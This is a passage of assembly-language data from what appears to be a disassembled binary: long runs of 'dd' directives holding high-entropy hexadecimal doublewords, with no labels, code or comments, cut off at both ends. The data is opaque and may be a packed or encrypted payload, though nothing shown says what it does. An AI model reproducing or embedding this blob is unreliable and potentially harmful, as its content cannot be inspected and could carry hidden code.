818D42EBh, 416B141h, 88018798h, 0EA9C55E9h dd 119467Ch, 364A9099h, 8446C8A7h, 17352780h, 75003A4Ch dd 0B7E1FEFBh, 61AA7107h, 998D9AB8h, 0C6810020h, 1D95D21Ch dd 17165129h, 81FBFD45h, 721F2DE4h, 178088F2h, 5B64C252h dd 0CF426670h, 0BBBE07Bh, 4DC01E0Ah, 0D9BFDBB8h, 7220A717h dd 17ECC750h, 0CB5DFA88h, 1E11182h, 578D897Fh, 6D5936D3h dd 0E561BE31h, 51335535h, 7171DC4Fh, 95250C64h, 11425EB5h dd 99822908h, 98A3DD9Dh, 31C5F95Fh, 0FD8D03E7h, 4D06918h dd 209763BAh, 8A0687EFh, 2FE64D90h, 56B0D627h, 69AB96Bh dd 3E4C1F76h, 64B0FC06h, 1715D65Bh, 1F2F8B5h, 0D1CEC658h dd 2011A689h, 2F40A50Eh, 139F9150h, 9860B81h, 54BFE146h dd 0AF00D67Bh, 93D9B773h, 0D85009EAh, 810F69F5h, 0D521B8ACh dd 2CB90825h, 0DE96004h, 41BCD540h, 6F383EC7h, 372301E7h dd 0F3878B8h, 5E6064A8h, 23147AC0h, 1C7B597Ch, 9FCDF6BBh dd 488A0161h, 1840AD6Fh, 0EE90681h, 8422D72Ah, 0ECF3E1F0h dd 584B557Dh, 9B80049Bh, 3F5F7721h, 84DAA339h, 0C2A6D380h dd 0BD235580h, 0BF1A4A25h, 1988A78Fh, 0C5EBF4C0h, 9BC4FD7h dd 9B4874D2h, 39EDB19Dh, 7F91048h, 0E004BA38h, 0FD81F00Dh dd 83027654h, 958914C2h, 0CF3A4BF1h, 625238FFh, 7E508133h dd 0FAD724B8h, 500ED99h, 0C9C22B58h, 478AF01Ah, 4D38045Bh dd 12D2825Ah, 50000D2Ah, 81D0033Ch, 0D745EC3Ah, 0C5D2BB19h dd 2C4C722Dh, 89D2D9E9h, 14AFC88Bh, 40030DB0h, 0EA844F3Ch dd 0F0B7195h, 12B13E8Bh, 50112B9h, 0F8FC49F8h, 0D163030Ch dd 7B2B3D20h, 1208624Dh, 0FD0B2591h, 1391E645h, 18B5117h dd 0A981100Dh, 81A639B0h, 0C3C03359h, 0CBCDBD7Eh, 494EFF24h dd 0D2684702h, 0D1D49AA7h, 79BA70Dh, 0D1FFD0E2h, 0D9751840h dd 0E852D38Bh, 0F818009Bh dd 254CBCCAh, 7B9F0024h, 9ABE59EAh, 700606DBh, 6147C181h dd 76FF62Ch, 2B109C2Ah, 0E6C0D0D2h, 45075491h, 5B0A34FFh dd 0B3C1EBA0h, 126C4CF4h, 0F39FFB3Ch, 39AC075Dh, 121BC680h dd 0E8DBD09h, 116408h, 0C44A2EF2h, 0A8358A88h, 0A40E01Eh dd 0F715282h, 0C80C4097h, 0A32748C4h, 8B111C07h, 0A1D0A0FEh dd 3D482809h, 0F5BD0051h, 0D8801DF8h, 6BC2FE35h, 0D64413B9h dd 0A9F29C1Eh, 3E34FC0h, 958701Ch, 9F48FA81h, 94855D40h dd 66002092h, 41DB9EB8h, 0EC8573Bh, 9F3F0DA1h, 7E96C083h dd 25F48388h, 9ADC4D06h, 6008651Dh, 76E12193h, 0CF004B83h dd 0F915EB5Fh, 3E0D566h, 0A02DA1A4h, 0B0A81E1Fh, 0C024A7ECh dd 131E47CAh, 0E8195E81h, 39FC9E9Ah, 82F5001Ch, 3E2998F6h dd 0CE381001h, 0D76680A7h, 3D144379h, 9E20C1BAh, 0CAE6CF55h dd 0F023209Eh, 72410008h, 7AADE331h, 95C470A5h, 4ED73B60h dd 0FD0DDD07h, 78CCBCC9h, 8A2C0063h, 0F3A25D99h, 0D8C605D9h dd 902137B0h, 0DB2707DBh, 0CC6513F2h, 9D7B46A0h, 0F4B20C9h dd 68A40D2Eh, 10881E0h, 0FC2AD656h, 9822A27Ah, 6121BC09h dd 5B560010h, 941BB138h, 0D105A71Fh, 0A589269Dh, 7284B010h dd 46E806FFh, 837B0212h, 337525EDh, 73E040ECh, 0F221283h dd 278A7675h, 0A33997E3h, 9EBC2005h, 6C009871h, 7E4D676h dd 85E23F20h, 0A90917B3h, 0CE00217Fh, 6F2C27E4h, 60417Dh dd 0AE44977Ah, 0A90D2625h, 431AB0CFh, 0C2C9CEh, 5FEEE059h dd 82DB3979h, 941A533h, 2170CFh, 0EFC05FE7h, 6747F6AAh dd 0C9E99204h, 50199A52h, 8F318D1h, 0C3397E5Fh, 0FD40CDC4h dd 20845FEBh, 0F22421E2h, 0CC205CC8h, 40518F9h, 142AD956h dd 58662C7Bh, 7E39530Dh, 0D7C63F7Eh, 1E276F03h, 0E8149511h dd 0FCA4D598h, 25008CA8h, 352C5EA9h, 7E6F97F0h, 0A72130BEh dd 328E2281h, 0F220ED0Fh, 0D75A851Fh, 0C3E56408h, 2AF1560Bh dd 88B71804h, 56031364h, 3F49636Eh, 60617445h, 389721ABh dd 9A0380D3h, 7BFB7512h, 0B67010DCh, 8CBDF8BBh, 0B607C87Ch dd 0DA4C2562h, 38B0D9E0h, 4380AA97h, 0DC895306h, 0FA3099A2h dd 0CAF100BAh, 13CCF936h, 0B00137B1h, 1E6D4A67h, 9C228431h dd 1FB97110h, 0A2182E27h, 7484118h, 9722CDE7h, 88BE7446h dd 58CE4DCh, 2AD8560Ah, 0B674220Ch, 56126320h, 3B62097Ch dd 4A0F924h, 483D2A35h, 5BE87E51h, 7AE9C00Ch, 0F414738h dd 984C5668h, 341FA4C9h, 8280AD11h, 0ED9CA61Bh, 24DCD102h dd 6A192C39h, 3DDC82ACh, 143B00A8h, 689A8D01h, 5BCF520h dd 5291F1Ah, 85A80459h, 0E44C8BBh, 837F048Ch, 625525F1h dd 77E42094h, 394C6383h, 0B1343904h, 0BD0169B2h, 23343A05h dd 2E4D01B9h, 2059CAA7h, 45306100h, 90D421B1h, 0FED7034Bh dd 46F331CFh, 0B1DBA0AFh, 0CE50DA21h, 0AC403CD4h, 4819781Fh dd 730078C7h, 0E727B920h, 0BD056739h, 0A1E19880h, 3077C022h dd 511E4DCh, 0AB88B220h, 0E4D4D880h, 60452F39h, 0B4B199AAh dd 83051D88h, 0AB703474h, 0B789AC04h, 55B94605h, 35BCF488h dd 200CEB7Dh, 0D0DEAE11h, 0D83D1892h, 6E21E9A1h, 0A2C900E9h dd 11B0999Bh, 5FF181D3h, 1CEE3980h, 5FE9FF06h, 2050ED4Fh dd 0A880D15Eh, 7C919384h, 0D8807311h, 0D22009E4h, 0D4C05491h dd 0DFE4D0h, 5D7498Dh, 0F11B9BCBh, 489109E4h, 8C402D11h dd 7048CE9h, 242ADB56h, 6820B562h, 0C4BA560Fh, 8630A0h dd 0AF22C44Eh, 0C9401464h, 0D4C88406h, 7F5FF0C0h, 22CB4639h dd 0E8FE03C4h, 882A8F5Fh, 0DAD36AE8h, 3B20DD00h, 0AD16854Eh dd 84499AFh, 1E84A611h, 0C91DACF1h, 2C1FA275h, 0C09FAE11h dd 214B86E8h, 3629F91Eh, 4C08C4BEh, 0A9467C84h, 67C64200h dd 0D0C3B3Ah, 0EEB8B865h, 0C0CD9048h, 397A5FEFh, 0CE22E346h dd 378A0140h, 34F8194Ah, 0C866007Eh, 40C78CCh, 98F9F4A2h dd 3D064399h, 0F194F392h, 49A4BE1Bh, 0BBA5084Ch, 80E42701h dd 420A23Fh, 6048CE8h, 2C2ADC56h, 6720BA62h, 93560Eh, 0DD581769h dd 0FC463B33h, 70273F01h, 35AF47D1h, 40D51460h, 6E4CDB85h dd 1112374h, 25F0837Ah, 83B8736Dh, 888372DDh, 0D7A8Fh dd 3B47CEC5h, 0DCBD2551h, 0DE291D0Ah, 839D4B5h, 8B644Ch dd 6594D74Fh, 10C3A96Ch, 42F61123h, 0B7E27429h, 0BBAEC833h dd 2AF9121Dh, 0CA0C49E1h, 60720804h, 2308E4D5h, 0AC11EA20h dd 0E4CDD70Fh, 42983D40h, 3109DFD9h, 6D9B022Ah, 95B5C028h dd 240D0FEEh, 0E0F01211h, 0B8F29872h, 0C95F230h, 0B04594FAh dd 1600D819h, 343F7579h, 0F78D4A9h, 260EF4B9h, 2CC443C0h dd 980420B2h, 0A4843592h, 0A5E088D0h, 1337E21Eh, 54204D2Eh dd 0DEE9C860h, 713A230h, 30908E53h, 80838539h, 0AD38DB24h dd 6D2CBE1Fh, 0B786C466h, 6486325h, 0DB6A3E43h, 0E82080A7h dd 2410018Dh, 25C056F8h, 0D0BC20BBh, 5FEC048Ch, 62EB397Bh dd 0E50220C8h, 8B75CA5Fh, 1E2EF100h, 38E15C12h, 0D99C91D5h dd 1E818B8h, 250D7238h, 20A16116h, 0A20A0F90h, 0E808D7F3h dd 47DD7A09h, 60BD64B4h, 276C517h, 84E1C3A9h, 80E0364Ah dd 39E2A272h, 2338AD48h, 8380010Fh, 2C5D25F2h, 78E3B0F0h dd 2F421F83h, 52114966h, 18AB5C20h, 924440A6h, 8BB200C9h dd 7A8AEE60h, 1600D506h, 0AD0C8CFh, 0B0173D4Dh, 29BD0971h dd 0FC428D36h, 61E0146Dh, 4030AF6h, 0AF700F07h, 663C821Ah dd 389DCC42h, 4780B311h, 54F3C28Dh, 462FA207h, 6839373Ah dd 9762C20h, 3C580E13h, 0ED2E3801h, 67C081B1h, 0F6FCFFC6h dd 24B0DCF0h, 0A448496Fh, 0B9B6093Ch, 0BD11CC1Fh, 0AACF4A8Eh dd 31B371AAh, 80B7C990h, 2092A8D9h, 1EEC7E6h, 121DC2EAh dd 6007A918h, 0DB449A60h, 0B1CC92CAh, 18C4D14Ch, 0C79007F8h dd 505E0244h, 0B91FDF9Ch, 0A62C1D7Fh, 69084485h, 921129Eh dd 0AC67EA5Ch, 4860BBC4h, 0C3091F83h, 80522358h, 0A664730h dd 0FB949914h, 0BCE060ACh, 4DD70072h, 0C65EAC26h, 79C52B45h dd 988836B0h, 6E19141Fh, 0E70860DEh, 7280A845h, 0E5ACA08Bh dd 0DC1C30B3h, 0A724A120h, 26352C88h, 41789210h, 109F39B0h dd 491627E6h, 61FF4A5h, 4DAA03BDh, 30056E5Ch, 0D30E1151h dd 0BA239C3Eh, 6F3E5700h, 255D4FE6h, 6C97BD83h, 3F8FAE11h dd 0A92900B6h, 3AB0611Dh, 219160A3h, 787440A3h, 90AA5E1Eh dd 56095410h, 0F42AD509h, 0F0657Ah, 0D0561162h, 4F053BA5h dd 83FD1E1Fh, 0F6CB78A0h, 38651424h, 96058895h, 210BAB2h dd 8F67E19Ch, 211FECE8h, 2E7464EBh, 0F4FF450Ah, 4F00A071h dd 0F916087Ch, 509EC2h, 0CEAA2CA1h, 20A76874h, 2004473Ah dd 5F12219h, 0A43AAF2Ch, 0EC0BAB23h, 0B583033Bh, 0EE077A6h dd 21262957h, 0C49D10DAh, 9781CF11h, 3E665ABAh, 0E0F4F0h dd 47172BF8h, 67181E61h, 0E77A6200h, 9B38FA27h, 78E8BB82h dd 7701758Fh, 0B75DAF19h, 0A4249C1Ah, 882C58ABh, 0F1A59886h dd 0A0E7EE0Eh, 0C71840A7h, 79B7D3FAh, 0E0F7751h, 8768806Ch dd 20C40470h, 0E081831Ch, 0B8F05641h, 8CA350A7h, 0D0D63BEFh dd 380CE0CCh, 8069D2CAh, 220C9D00h, 0AAB5C71Ah, 265605F4h dd 3D84FF7h, 41243F8Eh, 259C8090h, 9450F1FAh, 403050B0h dd 1831B9A4h, 0FACC0FEBh, 0A38C103Dh, 541EF519h, 7A406149h dd 1CC4275Eh, 0C7F7250Eh, 0C5115C9Dh, 7108809Fh, 0F953B6E7h dd 89236607h dd 3863FBA2h, 70AEB224h, 0E43085F4h, 0EC4060C9h, 0E90F0A89h dd 3F4B8D9h, 0A8F9143Ah, 363B5805h, 80029F3Dh, 209E1CB7h dd 1F92E29h, 68FACD7Ch, 0B01080C9h, 128379A0h, 8B6525EFh dd 71DE0034h, 5EF97D83h, 0BC055AF5h, 81E02588h, 26AB9788h dd 0B770D0B0h, 39C49017h, 2C90AE45h, 0BF6EC9Bh, 1D51B931h dd 0A8E6E3E0h, 11B78001h, 17C24B3Ch, 173F35CCh, 871BC90h dd 180A54Ch, 0BB29E59Fh, 42730061h, 200B80EFh, 0A4AD85A2h dd 1A4781E0h, 0AB93993h, 8F76FB00h, 0CAA61152h, 4100FC90h dd 2CC4916Ch, 3145B88Ah, 0C940B6A7h, 54983BFh, 81624918h dd 0A038A4E5h, 0E8CBDBCh, 650B04ACh, 0F96D2FE1h, 7C23B0h dd 0B226082Ah, 0E8FA9C18h, 3D7404CCh, 0C0F5E614h, 8FB3EE23h dd 0A2107303h, 0CC0AFBF3h, 2559A481h, 1E67F441h, 8CE40A9Eh dd 5B79B246h, 5F412F00h, 6D55BFE8h, 0CA0B0087h, 9590DA45h dd 7004A65h, 6B47D0E7h, 5C7C97E0h, 8E3D2450h, 8C850241h dd 0E4942C44h, 1294465Eh, 5004618Fh, 0DC54A422h, 0F7FE110h dd 92990C39h, 2AC26802h, 98BC64DDh, 0C4764DA8h, 4E4D980h dd 0B496CA20h, 0D1DB58h, 434491E4h, 2A10DD8Fh, 3B674714h dd 6C3C09F2h, 644C67A6h, 0B60560ADh, 0B4A33D50h, 9993CF89h dd 0D5588890h, 82986301h, 5F625DA6h, 58919AC4h, 7750AD55h dd 452C0D7Dh, 6080AB28h, 0B089A420h, 5E6151E5h, 40111820h dd 1CB83BA7h, 346107EDh, 1984B255h, 6ADB536h, 74814999h dd 1D477E06h, 51446Dh, 0E452424Dh, 2424ABB7h, 1E83D4A3h dd 10530A0Eh, 5AD0150h, 0D7817ABh, 22BECC20h, 0DF231E99h dd 0F8EE5Eh, 0BDB13DF8h, 0B099812Ch, 0A5922680h, 0F8199CBEh dd 2AA20E3Fh, 0E0D88465h, 0EC001DB8h, 0D8C45F85h, 0E5318A1h dd 8C70B37Bh, 5C00782Bh, 79906E34h, 0A2912C05h, 8840A923h dd 2113C377h, 0D7A0C48Bh, 0A1C490CAh, 373DB364h, 38870048h dd 8ACC5F3Ah, 0F30906B9h, 29BDCA2Ch, 0DD13C11Fh, 26274070h dd 0CC0BA8Dh, 0A5E93439h, 0E1001F18h, 466717BEh, 0B08F3C58h dd 2589828h, 4E8E882Ch, 28F243B0h, 6224F1F8h, 0CA0D88E2h dd 5C4169EAh, 6985AFE5h, 2180192Eh, 97AE99D8h, 0A404C269h dd 48548122h, 24DCA307h, 85D45Dh, 0CD2E2550h, 2CA9C678h dd 50985951h, 45BA2D15h, 2E9E01BCh, 7266EA6Dh, 0A8E84C68h dd 2FC7F68Ch, 841D4BD3h, 9A80B311h, 956E00Bh, 6CF72A00h dd 168555B0h, 809B5441h, 3E270D71h, 0E410A4C1h, 78BCD52Ch dd 783727h, 8BF70204h, 6A202180h, 7B1A0BC8h, 0A8479E9Ah dd 0B760CF44h, 2AFC29F3h, 87D84512h, 0FAFBCC42h, 542F4242h dd 0B88F4364h, 1FD515C0h, 9CF91979h, 209E7C80h, 10C32E0Dh dd 0A1D0A4F6h, 0C4F234F2h, 22C5C132h, 3144AC0h, 1FDFC52Bh dd 0A3D0C453h, 4205F1CFh, 1BD53640h, 14393407h, 90CA029h dd 0B0688294h, 16900248h, 4B2DA545h, 9144D867h, 2C4AE760h dd 79F3F8B0h, 0CA6211ECh, 0A9EEA802h, 0B0F1C029h, 2318B5D9h dd 9C4D2C15h, 0F7B800BCh, 291E77C3h, 24609C46h, 6EC80898h dd 0F2217F05h, 37190E0h, 0B927553Bh, 87857C3h, 0B84D5828h dd 8105460h, 93789EBDh, 0E4DB016Ch, 6CBA2006h, 0D3D9B0D8h dd 0F88D09E4h, 0D4456D73h, 3B60CEE4h, 9D0B436Bh, 0CB79FD16h dd 0B5FA58h, 0B8352CBEh, 0D0240B2h, 0BBF4EB6Ah, 54ACE1BDh dd 0AB96E982h, 0D86A3A25h, 465E0056h, 0F1F703CAh, 0E0F3700Bh dd 9441CE4Ch, 378640DCh, 7B01BF8Ch, 2BEA2C29h, 0D0FFC839h dd 16778E62h, 97F2190h, 7006BD24h, 0D898390Fh, 1BCF0A3h dd 6F8E2435h, 23A43B2Eh, 0CC170E91h, 0F920A0A0h, 0AC9ADA72h dd 9FB544h, 35BCD79Dh, 0AF91F508h, 0E93ACC00h, 1E1FEC94h dd 88996905h, 0BC63AC22h, 7664120h, 144216CEh, 9DA441D9h dd 38DE3CB0h, 0C9368404h, 0F43ABC10h, 0AB139540h, 2853C227h dd 6D80989Bh, 79A8654Bh, 0BC0651F6h, 0AA3F1399h, 428400F9h dd 0ADD16EA5h, 3A3D46FDh, 354B0216h, 9DB7077Ch, 899211A4h dd 9F1080CDh, 248A2AABh, 9ED84465h, 38FA01B8h, 4088790Ch dd 0BBC21E84h, 0F005CCB0h, 3625457Eh, 48BA3888h, 0F8223C5Fh dd 0B12C6098h, 0D942A0B6h, 18B702ADh, 1D0000E4h, 0C74AD4E4h dd 301BF36Dh, 0FB308929h, 842C25BEh, 0A6112CACh, 0B011F200h dd 0EEBD699Bh, 0AE68D700h, 7AEF9816h, 0F6FB382Ch, 0F0204325h dd 424F181Eh, 0F91DDE04h, 90F4BF12h, 818E603Fh, 285B7836h dd 1039D700h, 4CDC387Eh, 0E427026Bh, 0A5464B11h, 0C2E03868h dd 274B158h, 0B0160612h, 6424A0F1h, 2898330h, 0EDFE2D4Ch dd 9E315D3h, 5FB114F0h, 1079D805h, 30CCD0E7h, 95DF0111h dd 0AB7441ACh, 74032B92h, 1E50FE9h, 0BDEF0A10h, 351E087Bh dd 0A5544134h, 606710C0h, 0D02C6443h, 0CC5D43ACh, 0FEADF02Fh dd 7A340425h, 85C2BBBFh, 92F8240Fh, 0D730746Ch, 200A11E4h dd 80AF88DAh, 0E3E4CFD5h, 21007164h, 2A3A5970h, 0B4A2A835h dd 0BAFA8840h, 823D0B3Eh, 0B62C80EDh, 5C31FC4h, 20D52814h dd 98B6C017h, 58D6A09Bh, 0F0043C6Fh, 88C9A371h, 0CB0014F4h dd 95EDEF01h, 4187C9Dh, 0FBD4DE12h, 8F6C8077h, 3BF81E84h dd 17831C3Fh, 0D0419911h, 0C0B99E5Ah, 1147A3Bh, 512AF43Eh dd 0B0C046BDh, 21A66045h, 0FAE41BECh, 87DC0695h, 0D4979579h dd 9E819991h, 0F493D7B7h, 0E802388Eh, 4584A7B8h, 0BEA0603Ch dd 0AE212D1Dh, 41B04C02h, 0E44EBCD2h, 0AA29082h, 249D2D8Ch dd 981B711h, 2653AB86h, 0E87048E4h, 0EB008CCAh, 2C8F8985h dd 14360350h, 8C9AFE2Ah, 7C011323h, 7D25EE83h, 0DFB0287Ch dd 4A028374h, 0D61E7B2h, 0B834E092h, 801C968Bh, 14518DF8h dd 0D0B69978h, 0BD11E580h, 0E68B42h, 0E70E1080h, 1488782Eh dd 9138179Dh, 769180B8h, 2C8579DEh, 0B8D8C52Eh, 60340CA4h dd 7DE38B22h, 80534938h, 7A6B772Bh, 3F61EF7h, 14857217h dd 0F3E00E52h, 0A94F0D33h, 0D726B080h, 0A7CD2507h, 0CC914C17h dd 2CC49B89h, 5A4C8307h, 91109757h, 0D63869h, 939BDD30h dd 0E14ABB27h, 0D46F3102h, 87B8CACEh, 0E4239434h, 4844B02Ah dd 0C1265ED0h, 0E49E4239h, 55342CA7h, 0CF2B0ACh, 0C3091F2h dd 2140101h, 311E25B8h, 7FA0419Dh, 40BC621Ch, 1802AB28h dd 32298089h, 91BCC4BDh, 99782C34h, 6299B9FEh, 0EB460018h dd 0C6FF6E15h, 1A8A3C7Ch, 0CC9DB80h, 3EEEF45Ah, 3B2D6802h dd 0AB634570h, 0E47C45ECh, 0B86263BEh, 0AB053Ah, 30D127EFh dd 0CE137344h, 0A7B49107h, 97B0659Eh, 14CFC95Dh, 0E8B2E286h dd 0C300EA3Ah, 0BBCA1FEEh, 0CC0043CBh, 0A56EE6EDh, 0C296D1h dd 4657C1B2h, 8DDAF0B1h, 0BAC0A31Dh, 4808A409h, 19473AD0h dd 285810BCh, 1821A0D8h, 497F0831h, 43D0A286h, 756E840h dd 2C9E3E9Fh, 0FAF3B080h, 3B5C09B6h, 1626A068h, 0FC1D9F9Bh dd 2080CE91h, 0E0F76D40h, 0B8EC4614h, 9AE6B1DCh, 7520A812h dd 9121A2Fh, 5D67EBF5h, 64BC7700h, 0AB040902h, 163B5B19h dd 8CCF9098h, 7C5FED04h, 98E8F339h, 5FE603B0h, 2015F91Ch dd 39D7D2C8h, 9FCC4C08h, 11909749h, 5C4F80B2h, 7746024Ch dd 991B03FBh, 0D94E191Eh, 6D2C600Ch, 96BCF976h, 0AD465C2Ch dd 71CD1900h, 4A66CA39h, 23B7800Bh, 0AD98698Dh, 0EB29E017h dd 4F0E59C9h, 0C116FF67h, 0BDE8FDD0h, 9DA2CC70h, 0A911701Dh dd 7058BB80h, 9CA12066h dd 4105F28Ah, 0B46D7081h, 26D0D821h, 80824A21h, 36A5B8E8h dd 4005F95Ah, 5807404Eh, 99607B64h, 0F6D1707h, 0B3C935F1h dd 0AFEB52A0h, 710113DEh, 8B728F67h, 6C28290Bh, 1C8C99BCh dd 1CD9F197h, 0C70E03BEh, 25EF6C93h, 23C43F82h, 27000B3h dd 0B894DDA6h, 5D025BE2h, 0C1363B0Bh, 76B8D47Fh, 0FB00C846h dd 0CB55839Bh, 7F590C3Ah, 0DC271E20h, 0F8711C09h, 85CB268h dd 0BFE52420h, 0FC6B4702h, 9284714Ah, 0B03CA6BCh, 0E4BEB07Fh dd 19956040h, 3B47BDB6h, 24145F74h, 0E8C49B82h, 0A8E88C93h dd 0B7005075h, 0ADBFF1F7h, 98A92CE4h, 0E07102FCh, 0C292F91Dh dd 3D05AC54h, 0D0006194h, 38DA27B8h, 0A1F62D19h, 0F740504Fh dd 1D28B5B2h, 4972CA6Bh, 0CE19BE0h, 26A1018Ah, 2CDC71h dd 10AC2E85h, 6F0188E4h, 25268557h, 526C2487h, 7190F10Bh dd 91A89DE8h, 0F75883BBh, 747EB8B1h, 0BFBFE9Ah, 0A12CA6DAh dd 0D9287040h, 7534381Eh, 280810F5h, 0E2E481CFh, 0F05C7701h dd 5900B5B4h, 3EB038AAh, 75D106h, 716C0520h, 7B6DA212h dd 0DBB80803h, 167AEC2Ah, 0E49B3DD0h, 6105F59Ch, 42040AD1h dd 298B5CC2h, 9279F071h, 28335718h, 9DFDC8FAh, 91B2D4A3h dd 0B086B030h, 42A07C14h, 80D02A6Fh, 510BB90Ah, 0D9B78C8Bh dd 0A8FD36F2h, 5BCB64D0h, 2A750D0h, 2462AC03h, 0F1F5CC1Eh dd 0D88BF9FBh, 0B8518655h, 4960ACDBh, 0B607EB39h, 6C9E5968h dd 9964149Bh, 18CA71B0h, 90BD3CCFh, 23500C82h, 3448B445h dd 0E1FC0B92h, 168355Ch, 0FA7E14A5h, 94F0B555h, 0DC5F39D0h dd 7B0408DFh, 5609B705h, 9088BC08h, 1C212C94h, 0E06C4D25h dd 2004F77Fh, 0EC0E73FCh, 5367B793h, 4C776403h, 7C3DA0BDh dd 0A8E0B485h, 3B585BCFh, 16CB23C8h, 399B006Eh, 68DD93EEh dd 284D2A12h, 215994C1h, 0B505D2CDh, 0F8702184h, 0B33B8045h dd 4CCB4B52h, 0FEC0BDC8h, 0B9254Dh, 0D9D31384h, 4658A40h dd 5D1DA4A8h, 8030A478h, 21231089h, 8C0C9542h, 0E4C7080h dd 0D1B40FE4h, 10B01C71h, 0E545641h, 199E0DEEh, 7C30B8CCh dd 0B8E58CA2h, 0C96097E4h, 380120BEh, 75319092h, 0C4305B1Eh dd 1C9E68BDh, 3D1C80A4h, 2DD10E92h, 6F2600B2h, 562FCCD7h dd 1C982493h, 8295A229h, 0F227ABA0h, 121E0474h, 0F00FCB9Ah dd 4D2F3BC4h, 11681DC8h, 6D5D80CDh, 0A9B62980h, 3A2A4B98h dd 7B223E8h, 0D05AA6FBh, 0ABD0286Fh, 11528804h, 0B0ECB826h dd 58CB9ECh, 86ACC649h, 6AE005FAh, 5DC1D23h, 82351798h dd 0FC7110D3h, 0F31892D9h, 922CBE3Eh, 1C0990F8h, 7AF4E83Eh dd 77D000Bh, 0E9778551h, 2600026Ch, 11471BD0h, 0C842DCF2h dd 0CF80A170h, 745B183Bh, 139F0022h, 0F1D7F98Bh, 902DE0DBh dd 60A4CDBDh, 0AD463C8Fh, 5A9788h, 884CFDAh, 64D6C348h dd 1C654100h, 5CAB2673h, 0F9161307h, 0A290B06Ah, 6F1BB718h dd 2E3E9DA1h, 80A0A63Dh, 4253F795h, 31258DE1h, 832CC220h dd 0A092AB94h, 7C79D84Eh, 1CC40521h, 50E96A3h, 0A5943494h dd 0C8542B48h, 0AC6810C4h, 0AFCF3F0Ch, 79D34670h, 4441C102h dd 9998C1A6h, 16B8747Dh, 0A92B6B07h, 3450F7B9h, 270A2124h dd 0B8B7E852h, 0D2D80C85h, 5B0FECA2h, 1D00D6D0h, 695F04B4h dd 7A08AA00h, 0B950A559h, 2790BFBh, 0B385CEE7h, 2041287h dd 0D6EDA8B4h, 2E2704E1h, 2B01BC6Eh, 521C6785h, 0D0BC1571h dd 178CB7E8h, 1C5554A9h, 0E7130B78h, 0A705DC02h, 5CEE0B02h dd 4CB752DCh, 92BDF603h, 0A7698765h, 50A911C0h, 2774B0F8h dd 0B488511Ch, 92467488h, 2E25C307h, 5820C995h, 6CE03552h dd 104023EFh, 0CA3ACBAEh, 148842DEh, 0EE078B4Dh, 44543A80h dd 3C989851h, 340CD32Ah, 4220AA21h, 9C995218h, 3300DD9h dd 25D37C5Fh, 78D6E516h, 7FCCA495h, 7A4A4040h, 5F266EB0h dd 2D3A4835h, 98DCC49Ah, 2C3713F0h, 0E2FC0081h, 0DA279B97h dd 404A1D12h, 7F70C98h, 667E853Ah, 0B86854D6h, 0D804931Ch dd 0F0166E08h, 6182F138h, 58309A04h, 8F3F3387h, 0DA000231h dd 2DB9D61Ah, 0E90E7Ah, 8114C760h, 6A5F2FACh, 112D1FEEh dd 7A5860AAh, 5E160621h, 0E066EBA1h, 0C96B622h, 0F6CAE036h dd 3312DB11h, 9CE4B161h, 40C8A855h, 4125055Ah, 0A0513439h dd 1B00BE50h, 0B1844958h, 609913F1h, 42BD18ABh, 0F0BE3843h dd 0F807515h, 84AA5316h, 90EC08FCh, 41B0297Eh, 22FB8290h dd 9CDC1FB5h, 4E6FB041h, 17B0612Eh, 0A73F0150h, 0CE7F1980h dd 947A76B5h, 0C93C8D04h, 0C0C061A0h, 899535B0h, 4CE0F009h dd 9D98F027h, 82AB9148h, 5646169Ch, 0DCEC8098h, 9A2DF01Fh dd 8F03830Fh, 45E1009Dh, 97F61CFh, 0B5CA1B95h, 0D772B480h dd 0A15F8B1Ah, 5B82F8DEh, 4443EF8h, 3B40B20Fh, 5C8DC003h dd 0ECB19F8Ah, 504D0012h, 913ECF10h, 19101DECh, 8028D75Eh dd 903A67CCh, 94D94971h, 0B718BB79h, 0CA0067ECh, 0E692CB99h dd 88C028ABh, 554B1D07h, 243CB899h, 38CCAACh, 7981C305h dd 0A8CD3EFFh, 0AA8683F8h, 0DCC9A98Ch, 4AF387DCh, 686B19h dd 0F7B2AB95h, 442C354h, 94452C7Eh, 64030EA2h, 60C490E3h dd 2C7CEDACh, 1C44AC56h, 10E0519h, 0A9B8814Ch, 0EC747D29h dd 0E30E013Ch, 35626064h, 0E2BC6042h, 36277202h, 5BEC7DBDh dd 33B57860h, 562C1D06h, 458F2E5h, 1E2508E0h, 243B4129h dd 2B8CC1h, 0E734E440h, 3A0DE327h, 8E29FAFh, 8459A5E3h dd 0E879D619h, 4200DEB8h, 0F927D4CFh, 4AB90BD8h, 0A0F4B781h dd 1CAFD7C2h, 0D327233Eh, 4364A00Dh, 91391410h, 443CFC50h dd 0F8DCE5D6h, 72579D0h, 1D009CC4h, 0A9C1E3CCh, 0B120B786h dd 0AF460CD0h, 6B00BCC1h, 0E176CC22h, 4FD7FFh, 70E75F6Ah dd 80BDB709h, 1DB81897h, 0D19902D4h, 38A7474Fh, 502208FCh dd 5F86D97Bh, 0F28C84B5h, 30AAF298h, 19169807h, 8852D112h dd 0F82BE4D0h, 2C3000FCh, 80E8C8F1h, 341F1DC0h, 7B005E52h dd 7EF91685h, 891894BEh, 8058761Ah, 465E509Ch, 0C9C10097h dd 44EC0D1Bh, 309252DDh, 18B71D71h, 952F6150h, 80989148h dd 67D89985h, 268F340Fh, 23542E52h, 25178593h, 9ECA0660h dd 0AC09A0D4h, 718AEC65h, 9182CCCh, 0CC718BF5h, 0AB581C02h dd 0AD6F4079h, 59B4A2C1h, 18B97968h, 0E30C1DF5h, 8F86CC6h dd 88399780h, 1FE05229h, 86240994h, 0D90978DAh, 25A51BF0h dd 4C10E1Ch, 0A6D0C4E7h, 0B3453027h, 3FA3A761h, 0DE90E401h dd 0DA30F3CFh, 5F88720h, 128EE1B3h, 2280BDFEh, 0F91D1399h dd 490080EEh, 821678EAh, 0F4A2209Dh, 7DC81100h, 32E438B6h dd 16E1E27h, 37B0D85Ch, 1C00AC62h, 8B41422Dh, 0DC01E682h dd 4DAA7A8Dh, 702E80ECh, 2C38D964h, 0F809F94Fh, 2DC85325h dd 0C591F015h, 16F63580h, 7101440Fh, 25D1D30Ah, 0DCEDF920h dd 0A8422074h, 40561978h, 7D2CCADAh, 467C5098h, 1B0D1FCFh dd 417831C0h, 1442744Ah, 0ECD77EEEh, 840B7A2Fh, 0A87944F1h dd 28059118h, 0AEBFE81Ah, 0B7A65C45h, 867E78F4h, 91F49595h dd 0BF4280AEh, 4B4C1493h, 0D670881Eh, 63181D03h, 0C02062ECh dd 480C352Ah, 0B689507Eh, 5CACACF0h, 0ACD1A0B1h, 636AD019h dd 0E1373C09h, 975470A5h, 0FFC06C4Dh, 52629B5h, 65A26C15h dd 